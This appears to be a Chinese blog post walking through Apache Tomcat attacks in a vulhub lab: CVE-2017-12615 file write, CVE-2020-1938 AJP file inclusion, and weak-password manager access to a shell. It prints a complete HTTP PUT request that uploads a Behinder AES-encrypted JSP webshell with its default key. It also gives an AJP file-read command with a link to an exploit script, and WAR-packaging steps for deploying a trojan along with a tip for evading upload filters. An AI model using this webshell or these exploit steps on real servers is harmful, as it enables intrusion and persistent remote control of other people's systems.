Apache Tomcat漏洞总结

目录

Tomcat简介

Tomcat的目录结构

Tomcat重要文件

环境搭建

漏洞复现

CVE-2017-12615 任意写文件漏洞

CVE-2020-1938 AJP 文件包含漏洞

弱口令后台getshell


Tomcat简介

Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。由于Tomcat本身也内含了一个HTTP服务器,它也可以被视作一个单独的Web服务器。

Tomcat的目录结构

  • bin-----存放Tomcat的脚本文件,例如启动、关闭
  • conf----Tomcat的配置文件,例如server.xml和web.xml
  • lib-----存放Tomcat运行需要的库文件(JAR包)
  • logs----存放Tomcat执行时的LOG文件
  • temp----存放Tomcat运行时所产生的临时文件
  • webapps-Web发布目录,默认情况下把Web应用文件放于此目录
  • work----存放jsp编译后产生的class文件

Tomcat重要文件

  • server.xml:配置tomcat启动的端口号、host主机、Context等
  • web.xml文件:部署描述文件,这个web.xml中描述了一些默认的servlet。
  • tomcat-users.xml:tomcat的用户密码与权限。

环境搭建

  • 切换到tomcat相关目录下,部署docker环境
  • cd /root/vulhub/tomcat
  • 选择自己想要复现的漏洞,切换到该目录下,运行以下命令
  • docker-compose build
  • docker-compose up -d
  • 根据目录下的'README.zh-cn.md'文件提示访问目标网站

漏洞复现

CVE-2017-12615 任意写文件漏洞

漏洞产生原因

  • 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件。
  • 虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。

影响版本

Tomcat 7.0.0 ~ 7.0.79

漏洞复现

1.首先访问网站利用burp进行抓包,修改为以下payload

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends 
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return 
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String 
k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码
rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new 
SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new 
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equal
s(pageContext);}%>

2.然后利用Repeater模块进行发送 。

3.访问jsp木马所在网站路径,可知木马上传成功。 

4.利用冰蝎进行连接,根据返回信息可知,连接成功。 

CVE-2020-1938 AJP 文件包含漏洞

漏洞产生原因

由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

影响版本

  • Apache Tomcat 9.x < 9.0.31
  • Apache Tomcat 8.x < 8.5.51
  • Apache Tomcat 7.x < 7.0.100
  • Apache Tomcat 6.x

漏洞复现

1.首先访问目标网站,可知Tomcat版本为9.0.30,可判断存在此漏洞。

2.然后使用脚本来读取目标网站web.xml的源代码。

  • 脚本地址 链接 :https://pan.baidu.com/s/1kwEZbu1NxITElp-lXXF0wQ  提取码:20w6 
  • 运行命令:python tomcat.py read_file  --wabapp=manager   /WEB-INF/web.xml  192.168.31.128


 

弱口令后台getshell

漏洞复现

首先访问目标网站,然后点击"Manager App",然后输入弱口令账号密码,从而进入后台。

2.进入后台后,我们从此图中红框位置处,存在文件上传漏洞,但是只能上传war文件。

3.制作war包,上传成功后,tomcat就会帮你解压到web目录下,制作包时不要命名war包为shell,getshell等,会被过滤掉。(这里上传的是冰蝎木马)

  • jar cvf  pass1.war  pass1.jsp

4.访问路径

  • http://ip:8080/pass1/pass1.jsp

​​​​​​​5.利用冰蝎进行连接,根据提示可知连接成功

猜你喜欢

转载自blog.csdn.net/smli_ng/article/details/115774379